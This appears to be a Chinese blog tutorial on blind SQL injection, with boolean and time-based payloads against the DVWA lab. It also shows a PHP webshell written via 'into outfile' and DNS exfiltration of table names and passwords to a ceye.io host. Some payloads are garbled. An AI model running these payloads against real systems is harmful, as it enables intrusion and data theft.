SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

0x01分类

Booleanbase(基于布尔)
布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
Timebase(基于时间)
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

0x02常用函数

1
2
3
4
5
6
7
substr()  substr(string string,num start,num length);
string为字符串;start为起始位置;length为长度。
count() 计数函数 count()函数是用来统计表中记录的一个函数,返回匹配条件的行数
select count(*) from mysql.user where id =1
ascii()返回对应字符的十进制值
length() 返回字符串长度
left() left(str, length),即:left(被截取字符串, 截取长度)

0x03手工盲注的步骤

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

0x04布尔盲注

1.判断注入点

1
2
3
4
1' or 1=1#
1' or 1=2#
如果注入点在order by后面,那么则可以使用判断语句来构造报错。
select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;

2.进行数据库猜解

1
2
3
4
5
6
7
8
9
10
11
12
13
数据库长度:1' and length(database())=4 #
数据库名:
二分法猜解表:通过与ascii码对照,一位一位的得出字符
1' and ascii(substr(database(),1,1))>97# 页面返回存在
1’ and 1 1' and ascii(substr(database(),1,1))>100# 页面返回不存在 1' and ascii(substr(database(),1,1))<103# 页面返回存在 1' and ascii(substr(database(),1,1))<100# 页面返回不存在
最终发现:数据库名的第一位字符的ascii码值为 100,则得到字母d
重复上述步骤,就可以猜解出完整的数据库名dvwa了

3.猜表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显示不存在

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
得知有 2 个表,继续使用length()函数来猜测表名的长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# 显示不存在
User
guestbook
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
···
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为 9。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),,1))=97 # 显示存在
User
U
99 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名guestbook、users。

4.猜解表中的字段名
首先猜解表中字段的数量:

1
2
3
4
5
6
7
8
9
10
11
12
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

…

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
说明users表有 8 个字段。
接着挨个猜解字段名长度:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为 7 个字符长度。
采用二分法,即可猜解出所有字段名。

5.猜解数据

1
同样采用二分法

0x05时间盲注

1.判断是否存在注入,注入是字符型还是数字型

1
2
1' and sleep(5) #感觉到明显延迟;
1 and sleep(5) #没有延迟;

2.猜解当前数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
首先猜解数据名的长度
1' and if(length(database())=1,sleep(5),1) # 没有延迟 1' and if(length(database())=2,sleep(5),1) # 没有延迟 1' and if(length(database())=3,sleep(5),1) # 没有延迟 1' and if(length(database())=4,sleep(5),1) # 明显延迟 If函数 IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
说明数据库名长度为 4 个字符。
接着采用二分法猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
… 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名

3.猜解数据库中的表名

1
2
3
4
5
6
7
8
9
10
11
12
13
首先猜解数据库中表的数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。
接着挨个猜解表名:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为 9 个字符。
采用二分法即可猜解出表名。

4.猜解表中的字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
首先猜解表中字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟 … 1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users表中有 8 个字段。
接着挨个猜解字段名:
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为 7 个字符。
采用二分法即可猜解出各个字段名。

5.猜解数据

1
同样采用二分法。

0x06导出Webshell

1
2
知道物理路径,且有MYSQL的ROOT权限
1' union select "<?php @eval($_GET['xxx']) ?>",2 into outfile 'C:\\phpStudy\\WWW\\123.php'#

0x07DNS注入(盲注的眼睛)

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

函数

load_file函数:加载一个文件

原理

示例

Mysql

1
2
3
4
5
1.
test' and if((select load_file(concat('\\\\',(select database()),'.fz0bj5.ceye.io\\abc'))),1,1)#
test' and if((select load_file(concat('\\\\',(select user()),'.fz0bj5.ceye.io\\abc'))),1,1)#
然后查看ceye,成功获取到了数据库名称
对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

1
2
3
4
5
6
7
8
2.查表名
test' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mkcms' limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
3.查字段
test' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='mkcms_user' limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
4.查字段值
test' and if((select load_file(concat('\\\\',(select u_password from mkcms_user limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
5.导出webshell(知道物理路径且Mysql为root权限)
test' union select "<?php @eval($_POST['wade']); ?>" into outfile 'C:\\phpstudy\\www\\wade.php'#

SQL Injection(Blind)的更多相关文章

  1. DVWA靶场之SQL injection(blind)通关

    盲注,顾名思义,无法从界面上直接查看到执行结果,一般的SQL注入基本绝迹,最多的就是盲注 基本步骤:(由于没有回显了,相比一般的SQL注入,也就不需要确定查询字段数.判断回显位置了) 判断注入类型 破 ...

  2. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  3. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  4. Fortify漏洞之Sql Injection(sql注入)

    公司最近启用了Fortify扫描项目代码,报出较多的漏洞,安排了本人进行修复,近段时间将对修复的过程和一些修复的漏洞总结整理于此! 本篇先对Fortify做个简单的认识,同时总结一下sql注入的漏洞! ...

  5. sql事务(Transaction)用法介绍及回滚实例

    sql事务(Transaction)用法介绍及回滚实例 事务(Transaction)是并发控制的单位,是用户定义的一个操作序列.这些操作要么都做,要么都不做,是一个不可分割的工作单位.通过事务, S ...

  6. 【腾讯云的1001种玩法】在腾讯云上创建您的SQL Cluster(5)

    版权声明:本文由李斯达 原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/97264001482830465 来源:腾云阁 h ...

  7. SQL Server(六)——索引、视图和SQL编程

    1.索引 添加索引,设计界面,在任何一列前右键--索引/键--点击进入添加某一列为索引 2.视图 视图就是我们查询出来的虚拟表 创建视图:create view 视图名 as SQL查询语句,分组,排 ...

  8. SQL总结(一)基本查询

    SQL总结(一)基本查询 SQL查询的事情很简单,但是常常因为很简单的事情而出错.遇到一些比较复杂的查询我们更是忘记了SQL查询的基本语法. 本文希望通过简单的总结,把常用的查询方法予以总结,希望能够 ...

  9. SQL总结(二)连表查询

    ---恢复内容开始--- SQL总结(二)连表查询 连接查询包括合并.内连接.外连接和交叉连接,如果涉及多表查询,了解这些连接的特点很重要. 只有真正了解它们之间的区别,才能正确使用. 1.Union ...

随机推荐

  1. Mybatis 解决问题的记录与博客

    问题:mybatis 空值映射的问题Mybatis在使用resultMap来映射查询结果中的列,如果查询结果中包含空值的列(不是null),则Mybatis在映射的时候,不会映射这个字段 https: ...

  2. 51nod 1850 抽卡大赛 (十二省联考模测) DP

    O(n4)O(n^4)O(n4)的DP很好想,但是过不了.来看看O(n3)O(n^3)O(n3)的把. Freopen的博客 CODE #include <cstdio> #include ...

  3. CSS3—HSL与HSLA属性

    ㈠HSL(H,S,L) ⑴通过对色相(H).饱和度(S).明度(L)三个颜色通道的变化以及它们相互之间的叠加来得到各式各样的颜色 ⑵取值 H:Hue(色调).0(或360)表示红色,120表示绿色,2 ...

  4. yii学习笔记(四)

    return $this->goBack(); // 先看看Yii::$app->user->returnUrl是否已经设置, returnUrl没有设置且goBack()中的参数也 ...

  5. 灰度图像--频域滤波 傅里叶变换之连续信号傅里叶变换(FT)

    学习DIP第20天 转载请标明本文出处:http://blog.csdn.net/tonyshengtan,欢迎大家转载,发现博客被某些论坛转载后,图像无法正常显示,无法正常表达本人观点,对此表示很不 ...

  6. ngx_http_auth_request自用

    server { listen 80; server_name www.php12.cn php12.mama1314.com; root /var/www/shf; location / { ind ...

  7. 浅析java中的四种线程池

      1.使用线程池的好处 2.JUC中几种常用的线程池 java.util.concurrent包下的Executors工厂类,提供了一系列的线程池的创建方法,其构造方法如下: public Thre ...

  8. STL -- heap结构及算法

    STL -- heap结构及算法 heap(隐式表述,implicit representation) 1. heap概述 : vector + heap算法 heap并不归属于STL容器组件,它是个 ...

  9. 设置placeholder 颜色

    ::-webkit-input-placeholder { /* WebKit browsers */ color: rgb(100, 193, 173); } :-moz-placeholder { ...

  10. 【React自制全家桶】七、React实现ajax请求以及本地数据mock

    一.下载axios插件 yarn add axios 二.React的ajax请求代码如何放置 建议放置在生命周期函数之componentDidMount()中 三.ajax之get请求 axios. ...